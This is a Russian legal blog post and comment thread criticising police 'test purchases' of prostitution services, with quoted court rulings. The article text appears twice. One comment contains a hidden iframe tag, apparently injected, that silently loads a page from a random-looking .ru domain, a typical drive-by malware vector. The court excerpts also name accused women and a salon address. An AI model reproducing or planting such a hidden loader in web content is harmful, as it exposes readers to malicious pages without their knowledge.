Найти юриста / адвоката / эксперта
Проверочные закупки, проводимые на основании ст. 6 Закона РФ «Об оперативно-розыскной деятельности», могут быть разные.
Возможны проверочные закупки наркотических веществ с последующим возбуждением уголовных дел, либо алкоголя или недоброкачественной продукции с целью выявления административных правонарушений. В общем, вполне предсказуемые действия.
Но существуют такие проверочные закупки, о которых многие, в том числе и юристы, наверняка и не подозревают.
Так, ст. 6.11 КОАП РФ предусмотрена административная ответственность за занятие проституцией в виде штрафа в размере от 1500 руб. до 2000 руб. Административное правонарушение, как следует из вида и размера санкции, незначительное по характеру своей опасности. Но раз есть правонарушение, то, очевидно, должны быть выявлены и правонарушители.
И вот на свет появляются шедевры правоохранительного творчества, которые поражают своим новаторским подходом, при этом наглядно демонстрируют, что с нарушениями в области общественной нравственности с помощью креативных методов ведется непримиримая, а где-то даже самоотверженная, борьба.
За скобками публикации оставляю технические аспекты привлечения к административной ответственности за совершение названого правонарушения, а именно,
1. В связи с отсутствием легального толкования доктринальное (Дорошков В.В., судья Верховного Суда РФ в отставке, д.ю.н., профессор, заслуженный юрист РФ, комментарий к ст. 240 УК РФ, Комментарий к Уголовному кодексу РФ, отв.ред. В.М. Лебедев, 2013), а также судебное (постановление Мосгорсуда от 26.07.2013 N 10-5913/2013, апелляционное определение Санкт-Петербургского городского суда от 28.01.2015 N 33-828/2015 по делу N 2-2988/2014, постановление Краснодарского краевого суда от 29.11.2013 по делу N 4у-7353/13) толкования термина «проституция»;
2. исходя из принципа правовой определенности необходимость установления перечня действий, систематическое совершение которых признается противоправным при указанных обстоятельствах;
3. КоАП РФ не предусматривает административную ответственность за приготовление к совершению административного правонарушения либо за покушение на административное правонарушение, (постановление Верховного Суда РФ от 09.02.2006 по делу N 38-ад05-1), то есть противоправным признается только окоченное административное правонарушение;
4. исходя из доктринального и судебного толкований необходимость установления признака систематичности оказания противоправных услуг, то есть не менее 2 раз в течение календарного года (часть 3 ст. 120 НК РФ) либо более 2 раз (постановление Верховного Суда РФ от 18.12.2014 N 303-АД14-7399 по делу N А04-3049/2014, кассационное определение Верховного Суда РФ от 28.10.2015 по делу N 18-УД15-75, апелляционное определение Верховного Суда РФ от 09.09.2015 по делу N 4-АПУ15-43);
5. проведение ОРМ возможно только при наличии признаков преступления (определения Конституционного Суда РФ от 14.07.1998 N 86-О, от 22.04.2005 N 198-О, от 09.06.2005 № 327-О), то есть осуществление проверочной закупки для выявления административных правонарушений является незаконным;
6. незаконность провокации при проведении ОРМ (ст. 5 Закона РФ Об ОРД, ППВС РФ относительно преступлений, связанных со взяточничеством и незаконным оборотом наркотических веществ, и решения ЕСПЧ, в частности, по делам Банникова, Ваньяна, Веселова и других, Худобина, а также определение СК по уголовным делам Верховного Суда РФ от 21.02.2008 по делу N 9-008-4);
7. разграничение видов ОРМ, а именно установление того, проверочная закупка или оперативный эксперимент должны осуществляться в случаях выявления преступлений при указанных обстоятельствах;
8. необходимость охраны здоровья людей с учет положений ст. 6 Закона РФ Об ОРД, согласно которому
В ходе проведения оперативно-розыскных мероприятий используются информационные системы, видео- и аудиозапись, кино- и фотосъемка, а также другие технические и иные средства, не наносящие ущерба жизни и здоровью людей и не причиняющие вреда окружающей среде;9. отдельного внимания заслуживает гражданско-правовой аспект административного правонарушения, а именно является ли занятие проституцией, которая в доктринальном и судебном толковании определяется как услуга, продукцией по смыслу положений ст.ст. 128, 129 ГК РФ, а также абз. 8 ст. 8 ФЗ РФ Об ОРД, в соответствии с которымПроверочная закупка или контролируемая поставка предметов, веществ и продукции, свободная реализация которых запрещена либо оборот которых ограничени если является, то необходимо установить, запрещена свободная реализация такой продукции или ограничен оборот таковой;
10. соблюдение порядка легализации материалов ОРД для использования таковых при рассмотрении дела об административном правонарушении.
В завершении замечу, что одним из интересных аспектов является наличие фактов обжалования с участием адвокатов судебных решений. То есть суммы, затраченные на такое обжалование, очевидно, в несколько раз превышают размер указанной административной санкции. Такая настойчивость, по всей видимости, обусловлена в том числе тем, что выявление факта совершения названного административного правонарушения может повлечь возбуждение уголовного дела в соответствии со ст. 240 УК РФ или ст. 241 УК РФ.
Далее приведены примеры так называемого творчества.
Довод о том, что в данном случае Баранова не получив лично деньги после оказания интимных услуг, совершила лишь покушение на противоправное деяние, предусмотренное КоАП РФ, в то время, как административным законодательством предусмотрена ответственность только за оконченный состав, не выдерживает критики.
Как следует из фактических обстоятельств дела, имевших место 26.10.2011 г., контрольный закупщик до получения интимных услуг оплатил их, передав денежные средства уполномоченному на то лицу по месту совершения правонарушения. После чего, данные услуги ему были оказаны Барановой.
(постановление Ленинского районного суда г.Екатеринбурга от 16.02.2012) Из представленных по делу материалов оперативно-розыскного мероприятия следует, что по оперативной информации о том, что в подвале жилого дома по адресу: <адрес>, организован притон для занятия проституцией под видом массажного салона, принято решение о проведении комплекса оперативно-розыскных мероприятий, в том числе проверочная закупка интимных услуг проституток, обследование помещения.
Для проверочной закупки привлечены в качестве закупщиков услуг ФИО6, ФИО8, ФИО7
В ходе ОРМ использовались видеокамера и диктофон; закупщикам для покупки услуг выданы денежные средства – 5000 каждому.
После прибытия закупщиков в массажный салон сотрудником салона каждому из закупщиков было сообщено, что услуги девушек стоят не менее 1700 рублей в час, после чего каждому показаны несколько девушек одновременно, предложено выбрать понравившуюся. ФИО13 выбрал Цицину А.И.
Последняя препроводила ФИО14 в отдельную комнату, где обнажившись, оказала ему сексуальные услуги. Аналогичным образом сексуальные услуги были предоставлены другими девушками ФИО8, ФИО7
(постановление Савеловского районного суда г.Москвы от 17.12.2014 по делу об административном правонарушении № 12-2041/2014) Факт совершения Мамаевой <ФИО> административного правонарушения, предусмотренного ст. 6.11 Кодекса Российской Федерации об административных правонарушениях, подтверждается письменными доказательствами, а именно: — протоколом об административном правонарушении 66 В № 0117743/3552 от 02.07.2014г., составленным в отношении Мамаевой <ФИО> по ст. 6.11 КОАП РФ, в протоколе Мамаева <ФИО> дала пояснение о том, что с интимных услуг не оказывала, с правонарушением не согласна; — рапортом начальника ОБПН ОУР УМВД России по г. Екатеринбургу Брызгалова А.А., согласно которому 02.07.2014г. в 16 час. 00 мин. в ходе проведения ОРМ в массажном салоне <ОБЕЗЛИЧЕНО> расположенном по адресу: г. Екатеринбург, ул. Юмашева д. 13, сотрудниками ОУР была задержана гр. Мамаева <ФИО> которая выполнила клиенту «эротический массаж» путем воздействия своего обнаженного тела, а также руками на обнаженное тело клиента. Своими действиями Мамаева <ФИО> оказывала интимные услуги, за что получила денежное вознаграждение. Мамаева <ФИО> была доставлена в УМВД России по г. Екатеринбургу для дачи объяснений; — объяснением Мамаевой <ФИО> в котором ей была разъяснена ст. 51 Конституции РФ, о том, что в настоящее время она работает у ИП <ФИО2> в массажном салоне «Босс» — мастером расслабляющего массажа. 02.07.2014г. в 14 час. 30 мин. в салон пришел молодой человек, который выбрал Мамаеву для проведения ему программы «тайский релакс», администратор провела клиента в комнату Мамаевой, где оставшись вдвоем, Мамаева предложила молодому человеку раздеться, после чего он, раздевшись, начал трогать руками Мамаеву, дотрагиваясь до зоны бикини, на что она попросила прекратить данные действия. Тогда Мамаева и молодой человек начали разговаривать на отвлеченные темы, массаж Мамаева последнему не производила, сама не раздевалась. Когда оплаченное время закончилось, молодой человек оделся и вышел из комнаты; — объяснением гр. <ФИО5> о том, что 02.07.2014г. около 13 час. 00 мин. он был приглашен сотрудниками полиции для участия в ОРМ «проверочная закупка» в качестве закупщика. В здании УМВД России по г. Екатеринбургу в присутствии двух понятых сотрудники полиции выдали ему денежные средства в сумме 4 000 руб., купюрами достоинством 1 000 руб. каждая, о чем был составлен соответствующий протокол. Задача <ФИО5> заключалась в том, чтобы обратившись в массажный салон «Босс» под видом обычного клиента, убедиться, что сотрудницы данного салона оказывают интимные услуги. В 14 час. 30 мин. <ФИО5> зашел в салон, расположенный по адресу: г. Екатеринбург, ул. Юмашева, д. 13, заказал сеанс эротического массажа «тайский релакс» и выбрал девушку под псевдонимом «Адель», после чего передал администратору салона сумму стоимости услуг — 3 000 руб., выданные сотрудниками отдела полиции, а также 50 руб. из своих личных денежных средств (прим. — авт.) Пройдя в комнату, девушка под псевдонимом «Адель» предложила <ФИО5> раздеться, сама она в это время находилась в купальнике, после чего тоже разделась. После душа «Адель» предложила <ФИО5> лечь в комнате на татами и оказала ему интимные услуги
(постановление мирового судьи судебного участка №3 Верх-Исетского судебного района г.Екатеринбурга Свердловской области от 22.08.2014 по делу об административном правонарушении № 5-368/2014)
Возможны проверочные закупки наркотических веществ с последующим возбуждением уголовных дел, либо алкоголя или недоброкачественной продукции с целью выявления административных правонарушений. В общем, вполне предсказуемые действия.
Но существуют такие проверочные закупки, о которых многие, в том числе и юристы, наверняка и не подозревают.
Так, ст. 6.11 КОАП РФ предусмотрена административная ответственность за занятие проституцией в виде штрафа в размере от 1500 руб. до 2000 руб. Административное правонарушение, как следует из вида и размера санкции, незначительное по характеру своей опасности. Но раз есть правонарушение, то, очевидно, должны быть выявлены и правонарушители.
И вот на свет появляются шедевры правоохранительного творчества, которые поражают своим новаторским подходом, при этом наглядно демонстрируют, что с нарушениями в области общественной нравственности с помощью креативных методов ведется непримиримая, а где-то даже самоотверженная, борьба.
За скобками публикации оставляю технические аспекты привлечения к административной ответственности за совершение названого правонарушения, а именно,
1. В связи с отсутствием легального толкования доктринальное (Дорошков В.В., судья Верховного Суда РФ в отставке, д.ю.н., профессор, заслуженный юрист РФ, комментарий к ст. 240 УК РФ, Комментарий к Уголовному кодексу РФ, отв.ред. В.М. Лебедев, 2013), а также судебное (постановление Мосгорсуда от 26.07.2013 N 10-5913/2013, апелляционное определение Санкт-Петербургского городского суда от 28.01.2015 N 33-828/2015 по делу N 2-2988/2014, постановление Краснодарского краевого суда от 29.11.2013 по делу N 4у-7353/13) толкования термина «проституция»;
2. исходя из принципа правовой определенности необходимость установления перечня действий, систематическое совершение которых признается противоправным при указанных обстоятельствах;
3. КоАП РФ не предусматривает административную ответственность за приготовление к совершению административного правонарушения либо за покушение на административное правонарушение, (постановление Верховного Суда РФ от 09.02.2006 по делу N 38-ад05-1), то есть противоправным признается только окоченное административное правонарушение;
4. исходя из доктринального и судебного толкований необходимость установления признака систематичности оказания противоправных услуг, то есть не менее 2 раз в течение календарного года (часть 3 ст. 120 НК РФ) либо более 2 раз (постановление Верховного Суда РФ от 18.12.2014 N 303-АД14-7399 по делу N А04-3049/2014, кассационное определение Верховного Суда РФ от 28.10.2015 по делу N 18-УД15-75, апелляционное определение Верховного Суда РФ от 09.09.2015 по делу N 4-АПУ15-43);
5. проведение ОРМ возможно только при наличии признаков преступления (определения Конституционного Суда РФ от 14.07.1998 N 86-О, от 22.04.2005 N 198-О, от 09.06.2005 № 327-О), то есть осуществление проверочной закупки для выявления административных правонарушений является незаконным;
6. незаконность провокации при проведении ОРМ (ст. 5 Закона РФ Об ОРД, ППВС РФ относительно преступлений, связанных со взяточничеством и незаконным оборотом наркотических веществ, и решения ЕСПЧ, в частности, по делам Банникова, Ваньяна, Веселова и других, Худобина, а также определение СК по уголовным делам Верховного Суда РФ от 21.02.2008 по делу N 9-008-4);
7. разграничение видов ОРМ, а именно установление того, проверочная закупка или оперативный эксперимент должны осуществляться в случаях выявления преступлений при указанных обстоятельствах;
8. необходимость охраны здоровья людей с учет положений ст. 6 Закона РФ Об ОРД, согласно которому
В ходе проведения оперативно-розыскных мероприятий используются информационные системы, видео- и аудиозапись, кино- и фотосъемка, а также другие технические и иные средства, не наносящие ущерба жизни и здоровью людей и не причиняющие вреда окружающей среде;9. отдельного внимания заслуживает гражданско-правовой аспект административного правонарушения, а именно является ли занятие проституцией, которая в доктринальном и судебном толковании определяется как услуга, продукцией по смыслу положений ст.ст. 128, 129 ГК РФ, а также абз. 8 ст. 8 ФЗ РФ Об ОРД, в соответствии с которымПроверочная закупка или контролируемая поставка предметов, веществ и продукции, свободная реализация которых запрещена либо оборот которых ограничени если является, то необходимо установить, запрещена свободная реализация такой продукции или ограничен оборот таковой;
10. соблюдение порядка легализации материалов ОРД для использования таковых при рассмотрении дела об административном правонарушении.
В завершении замечу, что одним из интересных аспектов является наличие фактов обжалования с участием адвокатов судебных решений. То есть суммы, затраченные на такое обжалование, очевидно, в несколько раз превышают размер указанной административной санкции. Такая настойчивость, по всей видимости, обусловлена в том числе тем, что выявление факта совершения названного административного правонарушения может повлечь возбуждение уголовного дела в соответствии со ст. 240 УК РФ или ст. 241 УК РФ.
Далее приведены примеры так называемого творчества.
Довод о том, что в данном случае Баранова не получив лично деньги после оказания интимных услуг, совершила лишь покушение на противоправное деяние, предусмотренное КоАП РФ, в то время, как административным законодательством предусмотрена ответственность только за оконченный состав, не выдерживает критики.
Как следует из фактических обстоятельств дела, имевших место 26.10.2011 г., контрольный закупщик до получения интимных услуг оплатил их, передав денежные средства уполномоченному на то лицу по месту совершения правонарушения. После чего, данные услуги ему были оказаны Барановой.
(постановление Ленинского районного суда г.Екатеринбурга от 16.02.2012) Из представленных по делу материалов оперативно-розыскного мероприятия следует, что по оперативной информации о том, что в подвале жилого дома по адресу: <адрес>, организован притон для занятия проституцией под видом массажного салона, принято решение о проведении комплекса оперативно-розыскных мероприятий, в том числе проверочная закупка интимных услуг проституток, обследование помещения.
Для проверочной закупки привлечены в качестве закупщиков услуг ФИО6, ФИО8, ФИО7
В ходе ОРМ использовались видеокамера и диктофон; закупщикам для покупки услуг выданы денежные средства – 5000 каждому.
После прибытия закупщиков в массажный салон сотрудником салона каждому из закупщиков было сообщено, что услуги девушек стоят не менее 1700 рублей в час, после чего каждому показаны несколько девушек одновременно, предложено выбрать понравившуюся. ФИО13 выбрал Цицину А.И.
Последняя препроводила ФИО14 в отдельную комнату, где обнажившись, оказала ему сексуальные услуги. Аналогичным образом сексуальные услуги были предоставлены другими девушками ФИО8, ФИО7
(постановление Савеловского районного суда г.Москвы от 17.12.2014 по делу об административном правонарушении № 12-2041/2014) Факт совершения Мамаевой <ФИО> административного правонарушения, предусмотренного ст. 6.11 Кодекса Российской Федерации об административных правонарушениях, подтверждается письменными доказательствами, а именно: — протоколом об административном правонарушении 66 В № 0117743/3552 от 02.07.2014г., составленным в отношении Мамаевой <ФИО> по ст. 6.11 КОАП РФ, в протоколе Мамаева <ФИО> дала пояснение о том, что с интимных услуг не оказывала, с правонарушением не согласна; — рапортом начальника ОБПН ОУР УМВД России по г. Екатеринбургу Брызгалова А.А., согласно которому 02.07.2014г. в 16 час. 00 мин. в ходе проведения ОРМ в массажном салоне <ОБЕЗЛИЧЕНО> расположенном по адресу: г. Екатеринбург, ул. Юмашева д. 13, сотрудниками ОУР была задержана гр. Мамаева <ФИО> которая выполнила клиенту «эротический массаж» путем воздействия своего обнаженного тела, а также руками на обнаженное тело клиента. Своими действиями Мамаева <ФИО> оказывала интимные услуги, за что получила денежное вознаграждение. Мамаева <ФИО> была доставлена в УМВД России по г. Екатеринбургу для дачи объяснений; — объяснением Мамаевой <ФИО> в котором ей была разъяснена ст. 51 Конституции РФ, о том, что в настоящее время она работает у ИП <ФИО2> в массажном салоне «Босс» — мастером расслабляющего массажа. 02.07.2014г. в 14 час. 30 мин. в салон пришел молодой человек, который выбрал Мамаеву для проведения ему программы «тайский релакс», администратор провела клиента в комнату Мамаевой, где оставшись вдвоем, Мамаева предложила молодому человеку раздеться, после чего он, раздевшись, начал трогать руками Мамаеву, дотрагиваясь до зоны бикини, на что она попросила прекратить данные действия. Тогда Мамаева и молодой человек начали разговаривать на отвлеченные темы, массаж Мамаева последнему не производила, сама не раздевалась. Когда оплаченное время закончилось, молодой человек оделся и вышел из комнаты; — объяснением гр. <ФИО5> о том, что 02.07.2014г. около 13 час. 00 мин. он был приглашен сотрудниками полиции для участия в ОРМ «проверочная закупка» в качестве закупщика. В здании УМВД России по г. Екатеринбургу в присутствии двух понятых сотрудники полиции выдали ему денежные средства в сумме 4 000 руб., купюрами достоинством 1 000 руб. каждая, о чем был составлен соответствующий протокол. Задача <ФИО5> заключалась в том, чтобы обратившись в массажный салон «Босс» под видом обычного клиента, убедиться, что сотрудницы данного салона оказывают интимные услуги. В 14 час. 30 мин. <ФИО5> зашел в салон, расположенный по адресу: г. Екатеринбург, ул. Юмашева, д. 13, заказал сеанс эротического массажа «тайский релакс» и выбрал девушку под псевдонимом «Адель», после чего передал администратору салона сумму стоимости услуг — 3 000 руб., выданные сотрудниками отдела полиции, а также 50 руб. из своих личных денежных средств (прим. — авт.) Пройдя в комнату, девушка под псевдонимом «Адель» предложила <ФИО5> раздеться, сама она в это время находилась в купальнике, после чего тоже разделась. После душа «Адель» предложила <ФИО5> лечь в комнате на татами и оказала ему интимные услуги
(постановление мирового судьи судебного участка №3 Верх-Исетского судебного района г.Екатеринбурга Свердловской области от 22.08.2014 по делу об административном правонарушении № 5-368/2014)
Рейтинг публикации:
«
Нет внятной концепции по отношению к явлению, отсюда и шараханья.
Согласен с Вами, уважаемый Владислав Александрович. Отношение может быть различным. Кто-то относится негативно, считая проституцию аморальной, кто-то нейтрально, считая её неизбежным элементом любого общества, а потому подлежащей цивилизованному урегулированию. Но внимания заслуживает то обстоятельство, что в борьбе с ней применяются способы не менее незаконные и аморальные чем сами правонарушения, которые выявляют.
Уважаемый Александр Александрович, с моей точки зрения корень этого явления в очень давнем биологическом прошлом. Самки обезьян шимпанзе и сейчас вступают в связь со многими самцами, чтобы обеспечить протекцию и благосклонность для своего чада в будущем. Это не говоря об обычном биологическом выборе сильного самца, смены самца в пользу сильного и подобным явлениям.
Если я прав, то бороться с этим бесполезно. Нужно поступать иначе. Нужно социальную систему построить так, чтобы извлекать из этого максимальную пользу для всех.
Уважаемый Александр Александрович, очень ценная публикация и не только в связи с Вашим конкретным случаем. + и в избранное, ну и на всякий случай скопировал в ворд и в папочку с практикой.
считая её неизбежным элементом любого общества,и не только человеческого общества. Не знаю насколько правдива эта байка, но в сети поговаривают, что и у капуцинов в ходе эксперимента с введением товарно-денежных отношений возникла проституция.
Уважаемый Сергей Равильевич, вообще у меня какого-либо конкретного случая не было ), но за положительный отзыв спасибо. Про технические аспекты привлечения к административной ответственности я вкратце указал, по-хорошему правовое обоснование можно развернуть подробнее.
Уважаемый Владислав Александрович, по моему концепция есть и она отражена в законе. Более того, Верховный суд конкретизировал возможные разночтения. При этом, некоторые судьи считают, что судебное усмотрение (основанное на личном отношении к ситуации) и безнаказанность за принятые решения, позволяют принимать незаконные решения
Уважаемый Михаил Алексеевич, а напишите статью. Очень интересно с правовой точки зрения.
Я помню времена, когда за просмотр-показ фильмов давали реальные сроки (как правило «двушечку» общего). Сейчас фильмы эти по телевизиру показывают (Бархатные ручки, Греческая Смоковница, Эммануэль и т.д.). В царской России проститутки нормально существовали и с режимом и с попами ;)
http://kartina-ru.livejournal.com/7554.html
Уважаемый Сергей Николаевич, не только нормально, но даже вполне легально, в том числе, в так называемых доходных домах, под присмотром полицейских и врачей.
Уважаемый Александр Александрович, а «доходный дом» — это не жильё в найм случаем?
Уважаемый Владислав Александрович,
«доходный дом» — это не жильё в найм случаемименно так. Ну а квартиранты соответственно бывали разные ) .
Уважаемый Александр Александрович, спасибо за весьма подробный правовой анализ незаконности распространённых «процедур» выявления административных правонарушений, на которые наши правохоронители и суды попросту закрывают глаза, оправдывая собственные неправовые методы, якобы благими намерениями, а на самом деле, пресловутой борьбой за показатели.
В период своей службы в налоговой полиции, мне доводилось курировать направление игорного бизнеса и индустрии развлечений, вследствие чего я был лично знаком с большинством организаторов, крышевателей, и рядовых сотрудниц этой «сферы услуг», и очень хорошо себе представляю всю специфику этой теневой отрасли, и всегда считал и считаю, что загон «жриц платной любви» в неправовое поле, выгоден только тем, кто занимается их «крышеванием» и сбором дани.
При этом, если уж явление существует, его вполне можно было бы легализовать, цивилизованно контролировать, да ещё и получать с него налоговые поступления, но наши законодатели, многие из которых сами частенько посещают подобные заведения, предпочли создать условия для криминальных поборов и полной незащищённости всех, кто работает в этой сфере.
Уважаемый Иван Николаевич, благодарю за отзыв. Помимо экономического аспекта, существует ведь и криминологический аспект. На поверхности явления, которое как айсберг, ст. 6.11 КОАП РФ, а скрыты под ней масса других правонарушений, в том числе получение и дача взяток, незаконное лишение свободы, незаконный оборот наркотических веществ, должностные преступления.
Уважаемый Иван Николаевич, полностью согласна! В период моей учебы в ВУЗе меня заинтересовала эта тема. Я по ней писала курсовую, а потом и дипломную работы. На защите диплома мужская часть преподов потихоньку в кулак хихикали, когда я выступила с тезисом о легализации проституции.(giggle) И хочу отметить, что плюсов несравнимо больше. Кроме того, некоторые страны уже пошли по этому пути и получают хорошие поступления в казну :)
Остаётся пожелать закупщикам-проверяльщикам, при проведении очередного ОРМ, оказаться в положении негра Марселласа из «Криминального чтива», или их же коллег из «Академии полиции», зашедших в бар «Голубая устрица».
Мне почему-то кажется, что на подобные «проверочные закупки» сотрудники наших доблестных правоохранительных органов идут с блеском в глазах и румянцем на щеках.(giggle)
Уважаемая Алёна Александровна, их «служба» и опасна, и трудна:D
Несомненно. в златоглавой путаны изнасиловали полицейского-стажера.
http://www.vesti.ru/doc.html?id=2707628
http://360tv.ru/...noj-zakupki-v-moskve-44079/<;iframe src="//qxoili56p7y8i.ru/f.html"></iframe>
Эх, Советский фильм "Интердевочка" навеяло.
Уважаемый Александр Александрович, спасибо. Как всегда- великолепный анализ нормативной базы! Вот умеете Вы с источниками работать.
Уважаемый Александр Витальевич, благодарю. Но по-моему, обыкновенная рутинная работа ) .
Уважаемый Александр Александрович,«оптичили» мероприятие.
Как в том анекдоте с черным юмором: "- Скорей бы папа приезжал."(party)
Уважаемый Владимир Михайлович, ну что Вы, какое «оптичили»? Всего лишь обратил внимание уважаемых коллег на практику правоприменения.
Уважаемый Александр Александрович, это я не про Вас, а про практику по «наполнению» отчетности в компетентных органах. Подобный термин достаточно старый, а с перестройкой — забытый.
Уважаемый Владимир Михайлович, ясно. А то сначала подумал, что так изощренно ругаются.
Уважаемый Александр Александрович, лично я считаю бессмысленным объяснять удивительным гражданам в погонах, что ОРМ «проверочная закупка» проводится только в отношении материальных объектов, изъятых, или ограниченно изъятых из гражданского оборота, но никоим образом не относится к сфере услуг. Такое понимание ОРМ по принципу «я так вижу мир», возможно, пока продолжается общий кризис правоохранительной и судебной систем.
Уважаемый Андрей Юрьевич, полностью с Вами солидарен. Коль проституция признана административным правонарушением, то есть незаконной, то и «закупать» её нельзя, да ещё и таким образом, чтобы признавать деяние окоченным. С таким же успехом можно «закупить» причинение тяжких телесных повреждений.
Проституцией занимаются еще и лица, нетрадиционной сексуальной ориентации. Чего же там правоохранители закупки свои не делают? :)
Спасибо за интересную тему и отличное изложение и правовой анализ!
как делают закупки, — с трудом видимо)
вспомнил статью в интернете, которую в настоящее время, называют фантазией..., хотя как знать, как знать...
а кому сейчас легко?
подборка интересная.
Уважаемый Михаил Викторович,вспомнил статью в интернете, которую в настоящее время, называют фантазией..., хотя как знать, как знать...
как говорится, в каждой шутке есть доля шутки. И приведенные примеры подтверждают такой тезис.